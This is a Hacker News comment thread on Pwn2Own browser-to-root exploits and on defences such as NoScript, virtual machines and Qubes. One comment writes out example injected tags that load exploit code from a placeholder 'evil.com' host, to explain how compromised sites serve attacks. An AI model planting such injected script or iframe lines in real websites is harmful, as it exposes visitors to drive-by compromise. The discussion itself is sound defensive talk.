16 ms·
That's correct. The best paying exploits at Pwn2Own are exploits where just browsing to a website gives an attacker root code execution on the machine. These t
by NathanKP 12y ago
That's correct. The best paying exploits at Pwn2Own are exploits where just browsing to a website gives an attacker root code execution on the machine.
These types of exploits pay well because they are extremely difficult to pull off, as they require multiple exploits to break through the browser security, out of the sandbox, and through the OS protections.
- ianlevesque 12y agoAnd yet every year they have been found. It's safe to assume browsing to a site can take over your entire machine at any time. Enjoy the web guys!
- javajosh 12y agoThe regrettable truth is that this pushes us all toward a more centralized web, as it's much less likely that google.com or facebook.com is going to pwn your browser. The real nightmare scenario is when developer machines get hacked and attackers get access to source, but also to build servers where they can inject binaries into the web deployment stream, which themselves exploit end-user browsers. This is, I think, a very good reason to not give devs any access to build/CI servers. (Ironically, actual endpoint servers are slightly less critical to secure from devs.)
- branchless 12y agoThe lovely choice: 1. facebook where the NSA are checking on you 2. faceskibook where a Russian hacker is going to own your pc
- drzaiusapelord 12y agoThe few times I've caught on-load viruses was when visiting big sites. Turns out their ad networks often get compromised and suddenly reddit or facebook are loading exploits. Virtualizing and sandboxing the browser in a secure way is the only way out of this. On top of an eventual move to memory safe languages.
- javajosh 12y agoThat's a damn good point. It also means that ad networks and CDNs are the best targets.
- INTPenis 12y agoTrue it is a scary web but how many of those exploits have relied on default settings and Javascript to run? You are many times safer on the web if you have the discipline to use noscript properly.
- phazmatis 12y agoFun fact: Noscript loads and parses all javascript and then just stops it from running against the live DOM. Decreases page render time, sure. Prevents exploits? Don't think so.
- rictic 12y agoI can't recall a single exploitable bug in these competitions that attacked the javascript parser. Running the js is a far larger surface area to attack.
- rudolf0 12y agoNoScript won't actually execute any of the Javascript, though. I am not aware of any historical vulnerabilities from the mere act of loading and parsing Javascript, though they're certainly theoretically possible. It's much easier to secure a parser than a runtime.
- INTPenis 12y agoThat does not affect security significantly. If it did then it would totally defeat the purpose of noscript existing.
- pcwalton 12y ago> True it is a scary web but how many of those exploits have relied on default settings and Javascript to run? Layout (just to name one non-JS subsystem) has been responsible for a lot of vulnerabilities too.
- userbinator 12y agoTrue, but from experience it is often the case that exploits are obfuscated by being wrapped in one or more layers of JS, so that they are less likely to be discovered by passive scanners. This will probably seem quite shocking, but I almost exclusively used IE6 for a few years, with JS disabled - and despite frequently visiting the "darkest corners" of the Internet, was never exploited. On the sites that tried, I'd just see a blank page; view the source, and there was a blob of obfuscated JS.
- ChuckMcM 12y agoAnd that is why you browse with a virtual machine which is re-initialized from the CD copy every time you restart :-)
- JBiserkov 12y ago.. running inside another virtual machine just to be secure from guest-to-host escape vulnerabilities. Repeat as many times as necessary based on your paranoia levels. Inception.
- anonymfus 12y agoAnd nesting of virtual machines is still useless if you have bugs in CPU like this (2012): http://www.kb.cert.org/vuls/id/649219 http://www.kb.cert.org/vuls/id/649219
- ChuckMcM 12y agoSo for a long time I had a spare Vax (MicroVAX III if you're wondering) hooked up to a modem on an unused phone line (yes it answered as KREMVAX), and when sufficient internet bandwidth came along put it on the Internet to watch people "hack" it. It was fun because they would get all confused when their x86 exploit code wasn't even a thing :-). But your comment reminded me that if I ran a virtual VAX and then a virtual Windows on top of that and a browser in the windows, breaking out of the 'guest' into VMS would really challenge the bad guys tool box in terms of zero days :-) Fun to contemplate on a Friday afternoon.
- jhildings 12y ago
- ufmace 12y agoOn the slightly less dark side, we can probably assume that this class of exploits is so valuable that nobody would use it against a large number of people at once in an ordinary way, like sending out spam emails or comments with links to build a botnet. That would likely result in it getting noticed and patched quickly, for very little return on investment. These types of exploits are probably only used by very well financed organizations in carefully targeted ways, so as to justify the huge cost of finding them and keep them unnoticed and unpatched for as long as possible. See the recent stories on the Equation group-associated malware. You and I are probably safe enough, but somebody like Edward Snowden better be very careful where he surfs.
- deleted 12y ago[deleted]
- tonyhb 12y agoI've never thought about surfing in a VM before, but it seems that if you're ultra paranoid that it would be best to do so. Starting to think that running apps within a container is the right way to go.
- pfraze 12y agoQubes tries to build the OS that way. https://www.qubes-os.org/ https://www.qubes-os.org/
- alex_anglin 12y agoOr on a completely separate machine: Exploits have been found for visualization software. Of course, then you need to be concerned about the network and so on. It's turtles all the way down.
- gpmcadam 12y agoThat's why I have a separate machine which I use just for browsing the Web, which I keep disconnected from the Internet in a sealed steel box. ... Unplugged from the mains.
- bhayden 12y agoAny yet every time JavaScript blocking extensions are mentioned, it gets ridiculed. edit: case in point, someone posted about it right before and it's downvoted. Good job!
- le_lenny_face 12y agoWelcome to Hacker News in 2015, where the community mindset has changed from the old school Slashdot's reverence for software freedom and ideology to modern Reddit's mantra of "Who cares? It works! Get real!"
- pikzen 12y ago1) >implying the mindset on HN hasn't always been "push things and break shit who cares" 2) /r/programming and other software development subreddits are actually closer to slashdot's ideologies (excepting /r/webdev where performance is an overrated thing) The good news is that HN seems to be slowly going back to a more old school mindset. At least you can criticize javascript.framework.of.the.day.js without being showered in downvotes, as opposed to a year ago.
- lawnchair_larry 12y agoNot exactly - the economics are important. Anyone who builds an exploit like this is not going to waste it. It's either going to be used in targeted attacks, or reserved for pwn2own. They're not going to burn it by leaving it on some hacked site to get used on your grandmother. Those types of attacks happen after the exploit is already known and has patches available. The good stuff trickles down, and the early days of active exploitation are more or less restricted to those with the deep pockets and legal impunity.
- rudolf0 12y agoMost (not all, but most) of these exploits cannot run if you use NoScript/NotScripts or equivalent.
- solen 12y agoAnd not a single modern website will run either. If you're willing to disable javascript in 2015, you might as well not use Internet at all.
- rudolf0 12y agoYes, which is why NoScript allows fine-grained controls. It's not a straight up disabling of Javascript. You whitelist the sites you trust. Then if any of those sites get hacked, there will likely be a line added like <iframe src="http://evil.com/exploit.html"> http://evil.com/exploit.html">, or <script src="http://evil.com/exploit.js"></script> http://evil.com/exploit.js"></script>. NoScript will always prevent those since whitelists are domain-specific. So unless the malicious Javascript is added 100% inline on the compromised site (which is easy to do, but is done less often for a variety of reasons), you're going to be safe. And, obviously, you do not whitelist random sites you click off of Google searches or from emails without validation.
- ZitchDog 12y agoSo, most sites won't work, and the ones that do work will still be vulnerable? Awesome.
- rudolf0 12y agoThey're vulnerable if you whitelist them and they get hacked and exploit code is sent directly in the HTTP response. Just like how HTTPS (and HSTS and certificate pinning) does nothing for you if the server is compromised. If you're careful about what you whitelist, NoScript adds a lot of additional security.
- eeeeeeeeeeeee 12y ago
- krylon 12y agoAs a sysadmin, I find these exploits deeply disturbing. It used to be that people actually needed to download a file and, like, execute/open it for their systems to become infected. Recently, my users have been hit by fake DHL/UPS "track your shipment" mails, and some of them were sufficiently un-paranoid to click on the links provided by the mails, which apparently just showed a generic-looking 404-page. Which might mean that the offending page had already been taken down. But on the other hand, with these exploits, that can already be enough to infect an unsuspecting visitor. Well, one more reason to use Dillo, I guess.
- makomk 12y agoIt's never been the case that people actually needed to download a file and open it to get infected. Actually, in some ways things have improved - it used to be a lot easier to find this kind of exploit, which is why there weren't rewards like this for finding one.